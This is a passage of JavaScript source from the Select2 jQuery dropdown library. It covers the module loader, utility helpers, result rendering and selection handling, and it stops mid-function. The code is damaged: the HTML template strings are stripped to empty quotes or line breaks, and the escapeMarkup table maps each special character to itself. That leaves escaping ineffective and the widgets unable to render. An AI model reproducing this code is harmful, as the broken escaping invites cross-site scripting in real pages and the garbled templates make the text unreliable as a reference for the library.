makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Cache objects in Utils.__cache instead of $.data (see #4346) Utils.__cache = {}; var id = 0; Utils.GetUniqueElementId = function (element) { // Get a unique element Id. If element has no id, // creates a new unique number, stores it in the id // attribute and returns the new id. // If an id already exists, it simply returns it. var select2Id = element.getAttribute('data-select2-id'); if (select2Id == null) { // If element has id, use it. if (element.id) { select2Id = element.id; element.setAttribute('data-select2-id', select2Id); } else { element.setAttribute('data-select2-id', ++id); select2Id = id.toString(); } } return select2Id; }; Utils.StoreData = function (element, name, value) { // Stores an item in the cache for a specified element. // name is the cache key. var id = Utils.GetUniqueElementId(element); if (!Utils.__cache[id]) { Utils.__cache[id] = {}; } Utils.__cache[id][name] = value; }; Utils.GetData = function (element, name) { // Retrieves a value from the cache by its key (name) // name is optional. If no name specified, return // all cache items for the specified element. // and for a specified element. var id = Utils.GetUniqueElementId(element); if (name) { if (Utils.__cache[id]) { return Utils.__cache[id][name] != null ? Utils.__cache[id][name]: $(element).data(name); // Fallback to HTML5 data attribs. } return $(element).data(name); // Fallback to HTML5 data attribs. } else { return Utils.__cache[id]; } }; Utils.RemoveData = function (element) { // Removes all cached items for a specified element. var id = Utils.GetUniqueElementId(element); if (Utils.__cache[id] != null) { delete Utils.__cache[id]; } }; return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '
          ' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '
        • ' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = Utils.GetData(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('
            ', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } Utils.StoreData(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = Utils.GetData($highlighted[0], 'data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further // If no options, currentIndex will be -1 if (currentIndex <= 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = Utils.GetData(this, 'data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = Utils.GetData(this, 'data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '' ); this._tabindex = 0; if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); window.setTimeout(function () { self.$selection.focus(); }, 0); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = Utils.GetData(this, 'element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '' + '' + '' + '' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); }; SingleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); // clear tooltip on empty }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $(''); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.attr('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '
              ' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = Utils.GetData($selection[0], 'data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '
            • ' + '' + '×' + '' + '
            • ' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.attr('title', selection.title || selection.text); Utils.StoreData($selection[0], 'data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys', '../utils' ], function ($, KEYS, Utils) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = Utils.GetData($clear[0], 'data'); var previousVal = this.$element.val(); this.$element.val(this.placeholder.id); var unselectData = { data: data }; this.trigger('clear', unselectData); if (unselectData.prevented) { this.$element.val(previousVal); return; } for (var d = 0; d < data.length; d++) { unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { this.$element.val(previousVal); return; } } this.$element.trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '' + '×' + '' ); Utils.StoreData($remove[0], 'data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = Utils.GetData($previousChoice[0], 'data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { var isTagInput = this.$element.find('[data-select2-tag]').length; if (isTagInput) { // fix IE11 bug where tag input lost focus this.$element.focus(); } else { this.$search.focus(); } } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if 